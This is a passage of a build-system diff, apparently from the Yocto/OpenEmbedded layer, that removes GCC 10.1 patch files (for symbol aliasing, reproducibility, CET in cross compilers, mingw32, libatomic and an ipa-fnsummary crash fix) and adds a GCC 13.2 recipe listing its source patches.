- (__cpu_indicator_init@GCC_4.8.0, __cpu_model@GCC_4.8.0): Remove.
-
- * config/i386/t-linux (HOST_LIBGCC2_CFLAGS): Remove -DUSE_ELF_SYMVER.
-
-gcc/Changelog:
-
-2015-05-11 Szabolcs Nagy <szabolcs.nagy@arm.com>
-
- * config/i386/i386-expand.c (ix86_expand_builtin): Make __builtin_cpu_init
- call __cpu_indicator_init_local instead of __cpu_indicator_init.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/i386/i386-expand.c | 4 ++--
- libgcc/config/i386/cpuinfo.c | 6 +++---
- libgcc/config/i386/t-linux | 2 +-
- 3 files changed, 6 insertions(+), 6 deletions(-)
-
-diff --git a/gcc/config/i386/i386-expand.c b/gcc/config/i386/i386-expand.c
-index 48f00c5fcfc..468f5f71fac 100644
---- a/gcc/config/i386/i386-expand.c
-+++ b/gcc/config/i386/i386-expand.c
-@@ -10941,10 +10941,10 @@ ix86_expand_builtin (tree exp, rtx target, rtx subtarget,
- {
- case IX86_BUILTIN_CPU_INIT:
- {
-- /* Make it call __cpu_indicator_init in libgcc. */
-+ /* Make it call __cpu_indicator_init_local in libgcc.a. */
- tree call_expr, fndecl, type;
- type = build_function_type_list (integer_type_node, NULL_TREE);
-- fndecl = build_fn_decl ("__cpu_indicator_init", type);
-+ fndecl = build_fn_decl ("__cpu_indicator_init_local", type);
- call_expr = build_call_expr (fndecl, 0);
- return expand_expr (call_expr, target, mode, EXPAND_NORMAL);
- }
-diff --git a/libgcc/config/i386/cpuinfo.c b/libgcc/config/i386/cpuinfo.c
-index 00322c58622..f42bbb8af98 100644
---- a/libgcc/config/i386/cpuinfo.c
-+++ b/libgcc/config/i386/cpuinfo.c
-@@ -508,7 +508,7 @@ __cpu_indicator_init (void)
- return 0;
- }
-
--#if defined SHARED && defined USE_ELF_SYMVER
--__asm__ (".symver __cpu_indicator_init, __cpu_indicator_init@GCC_4.8.0");
--__asm__ (".symver __cpu_model, __cpu_model@GCC_4.8.0");
-+#ifndef SHARED
-+int __cpu_indicator_init_local (void)
-+ __attribute__ ((weak, alias ("__cpu_indicator_init")));
- #endif
-diff --git a/libgcc/config/i386/t-linux b/libgcc/config/i386/t-linux
-index 8506a635790..564296f788e 100644
---- a/libgcc/config/i386/t-linux
-+++ b/libgcc/config/i386/t-linux
-@@ -3,5 +3,5 @@
- # t-slibgcc-elf-ver and t-linux
- SHLIB_MAPFILES = libgcc-std.ver $(srcdir)/config/i386/libgcc-glibc.ver
-
--HOST_LIBGCC2_CFLAGS += -mlong-double-80 -DUSE_ELF_SYMVER $(CET_FLAGS)
-+HOST_LIBGCC2_CFLAGS += -mlong-double-80 $(CET_FLAGS)
- CRTSTUFF_T_CFLAGS += $(CET_FLAGS)
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch b/meta/recipes-devtools/gcc/gcc-10.1/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch
deleted file mode 100644
index dd1bf6dedc..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch
+++ /dev/null
@@ -1,182 +0,0 @@
-From 0395060a7dcf98c5f5a65103f6aaa71d6b862259 Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Tue, 10 Mar 2020 08:26:53 -0700
-Subject: [PATCH] gentypes/genmodes: Do not use __LINE__ for maintaining
- reproducibility
-
-Inserting line numbers into generated code means its not always reproducible wth
-differing versions of host gcc. Void the issue by not adding these.
-
-Upstream-Status: Inappropriate [OE Reproducibility specific]
-
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/gengtype.c | 6 +++---
- gcc/genmodes.c | 32 ++++++++++++++++----------------
- 2 files changed, 19 insertions(+), 19 deletions(-)
-
-diff --git a/gcc/gengtype.c b/gcc/gengtype.c
-index 981577481af..d5700fff401 100644
---- a/gcc/gengtype.c
-+++ b/gcc/gengtype.c
-@@ -991,7 +991,7 @@ create_field_at (pair_p next, type_p type, const char *name, options_p opt,
- /* Create a fake field with the given type and name. NEXT is the next
- field in the chain. */
- #define create_field(next,type,name) \
-- create_field_all (next,type,name, 0, this_file, __LINE__)
-+ create_field_all (next,type,name, 0, this_file, 0)
-
- /* Like create_field, but the field is only valid when condition COND
- is true. */
-@@ -1024,7 +1024,7 @@ create_optional_field_ (pair_p next, type_p type, const char *name,
- }
-
- #define create_optional_field(next,type,name,cond) \
-- create_optional_field_(next,type,name,cond,__LINE__)
-+ create_optional_field_(next,type,name,cond,0)
-
- /* Reverse a linked list of 'struct pair's in place. */
- pair_p
-@@ -5187,7 +5187,7 @@ main (int argc, char **argv)
- /* These types are set up with #define or else outside of where
- we can see them. We should initialize them before calling
- read_input_list. */
--#define POS_HERE(Call) do { pos.file = this_file; pos.line = __LINE__; \
-+#define POS_HERE(Call) do { pos.file = this_file; pos.line = 0; \
- Call;} while (0)
- POS_HERE (do_scalar_typedef ("CUMULATIVE_ARGS", &pos));
- POS_HERE (do_scalar_typedef ("REAL_VALUE_TYPE", &pos));
-diff --git a/gcc/genmodes.c b/gcc/genmodes.c
-index bd78310ea24..dbd02c51a4c 100644
---- a/gcc/genmodes.c
-+++ b/gcc/genmodes.c
-@@ -430,7 +430,7 @@ complete_all_modes (void)
- }
-
- /* For each mode in class CLASS, construct a corresponding complex mode. */
--#define COMPLEX_MODES(C) make_complex_modes (MODE_##C, __FILE__, __LINE__)
-+#define COMPLEX_MODES(C) make_complex_modes (MODE_##C, __FILE__, 0)
- static void
- make_complex_modes (enum mode_class cl,
- const char *file, unsigned int line)
-@@ -489,7 +489,7 @@ make_complex_modes (enum mode_class cl,
- having as many components as necessary. ORDER is the sorting order
- of the mode, with smaller numbers indicating a higher priority. */
- #define VECTOR_MODES_WITH_PREFIX(PREFIX, C, W, ORDER) \
-- make_vector_modes (MODE_##C, #PREFIX, W, ORDER, __FILE__, __LINE__)
-+ make_vector_modes (MODE_##C, #PREFIX, W, ORDER, __FILE__, 0)
- #define VECTOR_MODES(C, W) VECTOR_MODES_WITH_PREFIX (V, C, W, 0)
- static void ATTRIBUTE_UNUSED
- make_vector_modes (enum mode_class cl, const char *prefix, unsigned int width,
-@@ -541,7 +541,7 @@ make_vector_modes (enum mode_class cl, const char *prefix, unsigned int width,
- /* Create a vector of booleans called NAME with COUNT elements and
- BYTESIZE bytes in total. */
- #define VECTOR_BOOL_MODE(NAME, COUNT, BYTESIZE) \
-- make_vector_bool_mode (#NAME, COUNT, BYTESIZE, __FILE__, __LINE__)
-+ make_vector_bool_mode (#NAME, COUNT, BYTESIZE, __FILE__, 0)
- static void ATTRIBUTE_UNUSED
- make_vector_bool_mode (const char *name, unsigned int count,
- unsigned int bytesize, const char *file,
-@@ -563,7 +563,7 @@ make_vector_bool_mode (const char *name, unsigned int count,
- /* Input. */
-
- #define _SPECIAL_MODE(C, N) \
-- make_special_mode (MODE_##C, #N, __FILE__, __LINE__)
-+ make_special_mode (MODE_##C, #N, __FILE__, 0)
- #define RANDOM_MODE(N) _SPECIAL_MODE (RANDOM, N)
- #define CC_MODE(N) _SPECIAL_MODE (CC, N)
-
-@@ -576,7 +576,7 @@ make_special_mode (enum mode_class cl, const char *name,
-
- #define INT_MODE(N, Y) FRACTIONAL_INT_MODE (N, -1U, Y)
- #define FRACTIONAL_INT_MODE(N, B, Y) \
-- make_int_mode (#N, B, Y, __FILE__, __LINE__)
-+ make_int_mode (#N, B, Y, __FILE__, 0)
-
- static void
- make_int_mode (const char *name,
-@@ -589,16 +589,16 @@ make_int_mode (const char *name,
- }
-
- #define FRACT_MODE(N, Y, F) \
-- make_fixed_point_mode (MODE_FRACT, #N, Y, 0, F, __FILE__, __LINE__)
-+ make_fixed_point_mode (MODE_FRACT, #N, Y, 0, F, __FILE__, 0)
-
- #define UFRACT_MODE(N, Y, F) \
-- make_fixed_point_mode (MODE_UFRACT, #N, Y, 0, F, __FILE__, __LINE__)
-+ make_fixed_point_mode (MODE_UFRACT, #N, Y, 0, F, __FILE__, 0)
-
- #define ACCUM_MODE(N, Y, I, F) \
-- make_fixed_point_mode (MODE_ACCUM, #N, Y, I, F, __FILE__, __LINE__)
-+ make_fixed_point_mode (MODE_ACCUM, #N, Y, I, F, __FILE__, 0)
-
- #define UACCUM_MODE(N, Y, I, F) \
-- make_fixed_point_mode (MODE_UACCUM, #N, Y, I, F, __FILE__, __LINE__)
-+ make_fixed_point_mode (MODE_UACCUM, #N, Y, I, F, __FILE__, 0)
-
- /* Create a fixed-point mode by setting CL, NAME, BYTESIZE, IBIT, FBIT,
- FILE, and LINE. */
-@@ -619,7 +619,7 @@ make_fixed_point_mode (enum mode_class cl,
-
- #define FLOAT_MODE(N, Y, F) FRACTIONAL_FLOAT_MODE (N, -1U, Y, F)
- #define FRACTIONAL_FLOAT_MODE(N, B, Y, F) \
-- make_float_mode (#N, B, Y, #F, __FILE__, __LINE__)
-+ make_float_mode (#N, B, Y, #F, __FILE__, 0)
-
- static void
- make_float_mode (const char *name,
-@@ -636,7 +636,7 @@ make_float_mode (const char *name,
- #define DECIMAL_FLOAT_MODE(N, Y, F) \
- FRACTIONAL_DECIMAL_FLOAT_MODE (N, -1U, Y, F)
- #define FRACTIONAL_DECIMAL_FLOAT_MODE(N, B, Y, F) \
-- make_decimal_float_mode (#N, B, Y, #F, __FILE__, __LINE__)
-+ make_decimal_float_mode (#N, B, Y, #F, __FILE__, 0)
-
- static void
- make_decimal_float_mode (const char *name,
-@@ -651,7 +651,7 @@ make_decimal_float_mode (const char *name,
- }
-
- #define RESET_FLOAT_FORMAT(N, F) \
-- reset_float_format (#N, #F, __FILE__, __LINE__)
-+ reset_float_format (#N, #F, __FILE__, 0)
- static void ATTRIBUTE_UNUSED
- reset_float_format (const char *name, const char *format,
- const char *file, unsigned int line)
-@@ -672,7 +672,7 @@ reset_float_format (const char *name, const char *format,
-
- /* __intN support. */
- #define INT_N(M,PREC) \
-- make_int_n (#M, PREC, __FILE__, __LINE__)
-+ make_int_n (#M, PREC, __FILE__, 0)
- static void ATTRIBUTE_UNUSED
- make_int_n (const char *m, int bitsize,
- const char *file, unsigned int line)
-@@ -701,7 +701,7 @@ make_int_n (const char *m, int bitsize,
- /* Partial integer modes are specified by relation to a full integer
- mode. */
- #define PARTIAL_INT_MODE(M,PREC,NAME) \
-- make_partial_integer_mode (#M, #NAME, PREC, __FILE__, __LINE__)
-+ make_partial_integer_mode (#M, #NAME, PREC, __FILE__, 0)
- static void ATTRIBUTE_UNUSED
- make_partial_integer_mode (const char *base, const char *name,
- unsigned int precision,
-@@ -728,7 +728,7 @@ make_partial_integer_mode (const char *base, const char *name,
- /* A single vector mode can be specified by naming its component
- mode and the number of components. */
- #define VECTOR_MODE(C, M, N) \
-- make_vector_mode (MODE_##C, #M, N, __FILE__, __LINE__);
-+ make_vector_mode (MODE_##C, #M, N, __FILE__, 0);
- static void ATTRIBUTE_UNUSED
- make_vector_mode (enum mode_class bclass,
- const char *base,
-@@ -771,7 +771,7 @@ make_vector_mode (enum mode_class bclass,
-
- /* Adjustability. */
- #define _ADD_ADJUST(A, M, X, C1, C2) \
-- new_adjust (#M, &adj_##A, #A, #X, MODE_##C1, MODE_##C2, __FILE__, __LINE__)
-+ new_adjust (#M, &adj_##A, #A, #X, MODE_##C1, MODE_##C2, __FILE__, 0)
-
- #define ADJUST_NUNITS(M, X) _ADD_ADJUST (nunits, M, X, RANDOM, RANDOM)
- #define ADJUST_BYTESIZE(M, X) _ADD_ADJUST (bytesize, M, X, RANDOM, RANDOM)
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0036-Enable-CET-in-cross-compiler-if-possible.patch b/meta/recipes-devtools/gcc/gcc-10.1/0036-Enable-CET-in-cross-compiler-if-possible.patch
deleted file mode 100644
index af80642829..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0036-Enable-CET-in-cross-compiler-if-possible.patch
+++ /dev/null
@@ -1,150 +0,0 @@
-From 87a5ace658f2294b025e0420ef03ade1f45d926c Mon Sep 17 00:00:00 2001
-From: "H.J. Lu" <hjl.tools@gmail.com>
-Date: Fri, 8 May 2020 06:11:05 -0700
-Subject: [PATCH] Enable CET in cross compiler if possible
-
-Don't perform CET run-time check for host when cross compiling. Instead,
-enable CET in cross compiler if possible so that it will run on both CET
-and non-CET hosts.
-
-config/
-
- PR bootstrap/94998
- * cet.m4 (GCC_CET_HOST_FLAGS): Enable CET in cross compiler if
- possible.
-
-libiberty/
-
- PR bootstrap/94998
- * configure: Regenerated.
-
-lto-plugin/
-
- PR bootstrap/94998
- * configure: Regenerated.
-
-Upstream-Status: Submitted [https://patchwork.ozlabs.org/project/gcc/patch/20200508131105.170077-1-hjl.tools@gmail.com/]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- config/cet.m4 | 18 ++++++++++++------
- libiberty/configure | 12 +++++++++---
- lto-plugin/configure | 16 +++++++++++-----
- 3 files changed, 32 insertions(+), 14 deletions(-)
-
-diff --git a/config/cet.m4 b/config/cet.m4
-index ea616b728a9..d9608699cd5 100644
---- a/config/cet.m4
-+++ b/config/cet.m4
-@@ -111,7 +111,8 @@ if test x$may_have_cet = xyes; then
- fi
-
- if test x$may_have_cet = xyes; then
-- AC_TRY_RUN([
-+ if test x$cross_compiling = xno; then
-+ AC_TRY_RUN([
- static void
- foo (void)
- {
-@@ -137,12 +138,17 @@ main ()
- bar ();
- return 0;
- }
-- ],
-- [have_cet=no],
-- [have_cet=yes])
-- if test x$enable_cet = xno -a x$have_cet = xyes; then
-- AC_MSG_ERROR([Intel CET must be enabled on Intel CET enabled host])
-+ ],
-+ [have_cet=no],
-+ [have_cet=yes])
-+ if test x$enable_cet = xno -a x$have_cet = xyes; then
-+ AC_MSG_ERROR([Intel CET must be enabled on Intel CET enabled host])
-+ fi
- fi
-+else
-+ # Enable CET in cross compiler if possible so that it will run on both
-+ # CET and non-CET hosts.
-+ have_cet=yes
- fi
- if test x$enable_cet = xyes; then
- $1="-fcf-protection"
-diff --git a/libiberty/configure b/libiberty/configure
-index bb76cf1b823..3f82c5bb865 100755
---- a/libiberty/configure
-+++ b/libiberty/configure
-@@ -5375,7 +5375,8 @@ rm -f core conftest.err conftest.$ac_objext \
- fi
-
- if test x$may_have_cet = xyes; then
-- if test "$cross_compiling" = yes; then :
-+ if test x$cross_compiling = xno; then
-+ if test "$cross_compiling" = yes; then :
- { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
- $as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
- as_fn_error $? "cannot run test program while cross compiling
-@@ -5420,9 +5421,14 @@ rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
- fi
-
-- if test x$enable_cet = xno -a x$have_cet = xyes; then
-- as_fn_error $? "Intel CET must be enabled on Intel CET enabled host" "$LINENO" 5
-+ if test x$enable_cet = xno -a x$have_cet = xyes; then
-+ as_fn_error $? "Intel CET must be enabled on Intel CET enabled host" "$LINENO" 5
-+ fi
- fi
-+else
-+ # Enable CET in cross compiler if possible so that it will run on both
-+ # CET and non-CET hosts.
-+ have_cet=yes
- fi
- if test x$enable_cet = xyes; then
- CET_HOST_FLAGS="-fcf-protection"
-diff --git a/lto-plugin/configure b/lto-plugin/configure
-index 1baf6cc70b8..36c6ecc5875 100755
---- a/lto-plugin/configure
-+++ b/lto-plugin/configure
-@@ -5768,7 +5768,8 @@ rm -f core conftest.err conftest.$ac_objext \
- fi
-
- if test x$may_have_cet = xyes; then
-- if test "$cross_compiling" = yes; then :
-+ if test x$cross_compiling = xno; then
-+ if test "$cross_compiling" = yes; then :
- { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
- $as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
- as_fn_error $? "cannot run test program while cross compiling
-@@ -5813,9 +5814,14 @@ rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
- fi
-
-- if test x$enable_cet = xno -a x$have_cet = xyes; then
-- as_fn_error $? "Intel CET must be enabled on Intel CET enabled host" "$LINENO" 5
-+ if test x$enable_cet = xno -a x$have_cet = xyes; then
-+ as_fn_error $? "Intel CET must be enabled on Intel CET enabled host" "$LINENO" 5
-+ fi
- fi
-+else
-+ # Enable CET in cross compiler if possible so that it will run on both
-+ # CET and non-CET hosts.
-+ have_cet=yes
- fi
- if test x$enable_cet = xyes; then
- CET_HOST_FLAGS="-fcf-protection"
-@@ -11941,7 +11947,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11944 "configure"
-+#line 11950 "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -12047,7 +12053,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 12050 "configure"
-+#line 12056 "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0037-mingw32-Enable-operation_not_supported.patch b/meta/recipes-devtools/gcc/gcc-10.1/0037-mingw32-Enable-operation_not_supported.patch
deleted file mode 100644
index de82a3a539..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0037-mingw32-Enable-operation_not_supported.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From 6f87a095f0e696bec07a50df789c9db8bdbca43d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 12 May 2020 10:39:09 -0700
-Subject: [PATCH] mingw32: Enable operation_not_supported
-
-Fixes nativesdk build errors on mingw32 gcc-runtime
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libstdc++-v3/config/os/mingw32/error_constants.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/libstdc++-v3/config/os/mingw32/error_constants.h b/libstdc++-v3/config/os/mingw32/error_constants.h
-index 68ac72a78fb..71cd5815b81 100644
---- a/libstdc++-v3/config/os/mingw32/error_constants.h
-+++ b/libstdc++-v3/config/os/mingw32/error_constants.h
-@@ -107,7 +107,7 @@ _GLIBCXX_BEGIN_NAMESPACE_VERSION
- #ifdef _GLIBCXX_HAVE_EPERM
- operation_not_permitted = EPERM,
- #endif
--// operation_not_supported = EOPNOTSUPP,
-+ operation_not_supported = EOPNOTSUPP,
- #ifdef _GLIBCXX_HAVE_EWOULDBLOCK
- operation_would_block = EWOULDBLOCK,
- #endif
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0038-libatomic-Do-not-enforce-march-on-aarch64.patch b/meta/recipes-devtools/gcc/gcc-10.1/0038-libatomic-Do-not-enforce-march-on-aarch64.patch
deleted file mode 100644
index 3946acea11..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0038-libatomic-Do-not-enforce-march-on-aarch64.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 38d262bfe7c0c894c364dc6e4dc7971e78a73974 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 13 May 2020 15:10:38 -0700
-Subject: [PATCH] libatomic: Do not enforce march on aarch64
-
-OE passes the right options via gcc compiler cmdline via TUNE_CCARGS
-this can conflict between -mcpu settings and -march setting here, since
--mcpu will translate into an appropriate -march, lets depend on that
-instead of setting it explicitly
-
-Upstream-Status: Inappropriate [OE-Specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libatomic/Makefile.am | 1 -
- libatomic/Makefile.in | 1 -
- 2 files changed, 2 deletions(-)
-
-diff --git a/libatomic/Makefile.am b/libatomic/Makefile.am
-index 133fbbca77e..ac1ca645876 100644
---- a/libatomic/Makefile.am
-+++ b/libatomic/Makefile.am
-@@ -125,7 +125,6 @@ libatomic_la_LIBADD = $(foreach s,$(SIZES),$(addsuffix _$(s)_.lo,$(SIZEOBJS)))
- ## On a target-specific basis, include alternates to be selected by IFUNC.
- if HAVE_IFUNC
- if ARCH_AARCH64_LINUX
--IFUNC_OPTIONS = -march=armv8-a+lse
- libatomic_la_LIBADD += $(foreach s,$(SIZES),$(addsuffix _$(s)_1_.lo,$(SIZEOBJS)))
- endif
- if ARCH_ARM_LINUX
-diff --git a/libatomic/Makefile.in b/libatomic/Makefile.in
-index a51807e95c9..97df2d7ff03 100644
---- a/libatomic/Makefile.in
-+++ b/libatomic/Makefile.in
-@@ -431,7 +431,6 @@ M_SRC = $(firstword $(filter %/$(M_FILE), $(all_c_files)))
- libatomic_la_LIBADD = $(foreach s,$(SIZES),$(addsuffix \
- _$(s)_.lo,$(SIZEOBJS))) $(am__append_1) $(am__append_2) \
- $(am__append_3) $(am__append_4)
--@ARCH_AARCH64_LINUX_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -march=armv8-a+lse
- @ARCH_ARM_LINUX_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -march=armv7-a+fp -DHAVE_KERNEL64
- @ARCH_I386_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -march=i586
- @ARCH_X86_64_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -mcx16
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/pr96130.patch b/meta/recipes-devtools/gcc/gcc-10.1/pr96130.patch
deleted file mode 100644
index f0e6f85e22..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/pr96130.patch
+++ /dev/null
@@ -1,106 +0,0 @@
-From 0d03c0ee5213703ec6d9ffa632fa5298d83adaaa Mon Sep 17 00:00:00 2001
-From: Jakub Jelinek <jakub@redhat.com>
-Date: Mon, 13 Jul 2020 18:25:53 +0200
-Subject: [PATCH] ipa-fnsummary: Fix ICE with switch predicates [PR96130]
-
-The following testcase ICEs since r10-3199.
-There is a switch with default label, where the controlling expression has
-range just 0..7 and there are case labels for all those 8 values, but
-nothing has yet optimized away the default.
-Since r10-3199, set_switch_stmt_execution_predicate sets the switch to
-default label's edge's predicate to a false predicate and then
-compute_bb_predicates propagates the predicates through the cfg, but false
-predicates aren't really added. The caller of compute_bb_predicates
-in one place handles NULL bb->aux as false predicate:
- if (fbi.info)
- {
- if (bb->aux)
- bb_predicate = *(predicate *) bb->aux;
- else
- bb_predicate = false;
- }
- else
- bb_predicate = true;
-but then in two further spots that the patch below is changing
-it assumes bb->aux must be non-NULL. Those two spots are guarded by a
-condition that is only true if fbi.info is non-NULL, so I think the right
-fix is to treat NULL aux as false predicate in those spots too.
-
-2020-07-13 Jakub Jelinek <jakub@redhat.com>
-
- PR ipa/96130
- * ipa-fnsummary.c (analyze_function_body): Treat NULL bb->aux
- as false predicate.
-
- * gcc.dg/torture/pr96130.c: New test.
-
-(cherry picked from commit 776e48e0931db69f158f40e5cb8e15463d879a42)
----
- gcc/ipa-fnsummary.c | 10 ++++++++--
- gcc/testsuite/gcc.dg/torture/pr96130.c | 26 ++++++++++++++++++++++++++
- 2 files changed, 34 insertions(+), 2 deletions(-)
- create mode 100644 gcc/testsuite/gcc.dg/torture/pr96130.c
-
-diff --git a/gcc/ipa-fnsummary.c b/gcc/ipa-fnsummary.c
-index 045a0ecf766..55a0b272a96 100644
---- a/gcc/ipa-fnsummary.c
-+++ b/gcc/ipa-fnsummary.c
-@@ -2766,7 +2766,10 @@ analyze_function_body (struct cgraph_node *node, bool early)
- edge ex;
- unsigned int j;
- class tree_niter_desc niter_desc;
-- bb_predicate = *(predicate *) loop->header->aux;
-+ if (loop->header->aux)
-+ bb_predicate = *(predicate *) loop->header->aux;
-+ else
-+ bb_predicate = false;
-
- exits = get_loop_exit_edges (loop);
- FOR_EACH_VEC_ELT (exits, j, ex)
-@@ -2799,7 +2802,10 @@ analyze_function_body (struct cgraph_node *node, bool early)
- for (unsigned i = 0; i < loop->num_nodes; i++)
- {
- gimple_stmt_iterator gsi;
-- bb_predicate = *(predicate *) body[i]->aux;
-+ if (body[i]->aux)
-+ bb_predicate = *(predicate *) body[i]->aux;
-+ else
-+ bb_predicate = false;
- for (gsi = gsi_start_bb (body[i]); !gsi_end_p (gsi);
- gsi_next (&gsi))
- {
-diff --git a/gcc/testsuite/gcc.dg/torture/pr96130.c b/gcc/testsuite/gcc.dg/torture/pr96130.c
-new file mode 100644
-index 00000000000..f722b9ad2a9
---- /dev/null
-+++ b/gcc/testsuite/gcc.dg/torture/pr96130.c
-@@ -0,0 +1,26 @@
-+/* PR ipa/96130 */
-+/* { dg-do compile } */
-+
-+struct S { unsigned j : 3; };
-+int k, l, m;
-+
-+void
-+foo (struct S x)
-+{
-+ while (l != 5)
-+ switch (x.j)
-+ {
-+ case 1:
-+ case 3:
-+ case 4:
-+ case 6:
-+ case 2:
-+ case 5:
-+ l = m;
-+ case 7:
-+ case 0:
-+ k = 0;
-+ default:
-+ break;
-+ }
-+}
---
-2.18.4
-
diff --git a/meta/recipes-devtools/gcc/gcc-13.2.inc b/meta/recipes-devtools/gcc/gcc-13.2.inc
new file mode 100644
index 0000000000..603377a49a
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc-13.2.inc
@@ -0,0 +1,119 @@
+require gcc-common.inc
+
+# Third digit in PV should be incremented after a minor release
+
+PV = "13.2.0"
+
+# BINV should be incremented to a revision after a minor gcc release
+
+BINV = "13.2.0"
+
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/gcc:${FILE_DIRNAME}/gcc/backport:"
+
+DEPENDS =+ "mpfr gmp libmpc zlib zstd flex-native"
+NATIVEDEPS = "mpfr-native gmp-native libmpc-native zlib-native flex-native zstd-native"
+
+LICENSE = "GPL-3.0-with-GCC-exception & GPL-3.0-only"
+
+LIC_FILES_CHKSUM = "\
+ file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
+ file://COPYING.RUNTIME;md5=fe60d87048567d4fe8c8a0ed2448bcc8 \
+"
+# snapshot from git
+#RELEASE ?= "9b6bf076c11cba0f9ccdace63e8b4044b1a858ea"
+#BASEURI ?= "https://git.linaro.org/toolchain/gcc.git/snapshot/gcc-${RELEASE}.tar.gz"
+#SOURCEDIR = "gcc-${RELEASE}"
+#BASEURI ?= "https://repo.or.cz/official-gcc.git/snapshot/${RELEASE}.tar.gz;downloadfilename=gcc-${PV}-${RELEASE}.tar.gz"
+#SOURCEDIR ?= "official-gcc-${@'${RELEASE}'[0:7]}"
+
+# from snapshot
+#RELEASE ?= "13-20230520"
+#SOURCEDIR ?= "gcc-${RELEASE}"
+#BASEURI ?= "https://gcc.gnu.org/pub/gcc/snapshots/${RELEASE}/gcc-${RELEASE}.tar.xz"
+
+# official release
+RELEASE ?= "${PV}"
+BASEURI ?= "${GNU_MIRROR}/gcc/gcc-${PV}/gcc-${PV}.tar.xz"
+SOURCEDIR ?= "gcc-${PV}"
+
+SRC_URI = "${BASEURI} \
+ file://0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch \
+ file://0002-gcc-poison-system-directories.patch \
+ file://0003-64-bit-multilib-hack.patch \
+ file://0004-Pass-CXXFLAGS_FOR_BUILD-in-a-couple-of-places-to-avo.patch \
+ file://0005-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch \
+ file://0006-cpp-honor-sysroot.patch \
+ file://0007-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch \
+ file://0008-libtool.patch \
+ file://0009-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch \
+ file://0010-Use-the-multilib-config-files-from-B-instead-of-usin.patch \
+ file://0011-aarch64-Fix-include-paths-when-S-B.patch \
+ file://0012-Avoid-using-libdir-from-.la-which-usually-points-to-.patch \
+ file://0013-Ensure-target-gcc-headers-can-be-included.patch \
+ file://0014-Don-t-search-host-directory-during-relink-if-inst_pr.patch \
+ file://0015-libcc1-fix-libcc1-s-install-path-and-rpath.patch \
+ file://0016-handle-sysroot-support-for-nativesdk-gcc.patch \
+ file://0017-Search-target-sysroot-gcc-version-specific-dirs-with.patch \
+ file://0018-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch \
+ file://0019-Re-introduce-spe-commandline-options.patch \
+ file://0020-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch \
+ file://0021-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch \
+ file://0022-libatomic-Do-not-enforce-march-on-aarch64.patch \
+ file://0023-Fix-install-path-of-linux64.h.patch \
+ file://0024-Avoid-hardcoded-build-paths-into-ppc-libgcc.patch \
+ file://0025-gcc-testsuite-tweaks-for-mips-OE.patch \
+ file://CVE-2023-4039.patch \
+ file://0026-aarch64-Fix-loose-ldpstp-check-PR111411.patch \
+ file://0027-Fix-gcc-vect-module-testcases.patch \
+"
+SRC_URI[sha256sum] = "e275e76442a6067341a27f04c5c6b83d8613144004c0413528863dc6b5c743da"
+
+S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/${SOURCEDIR}"
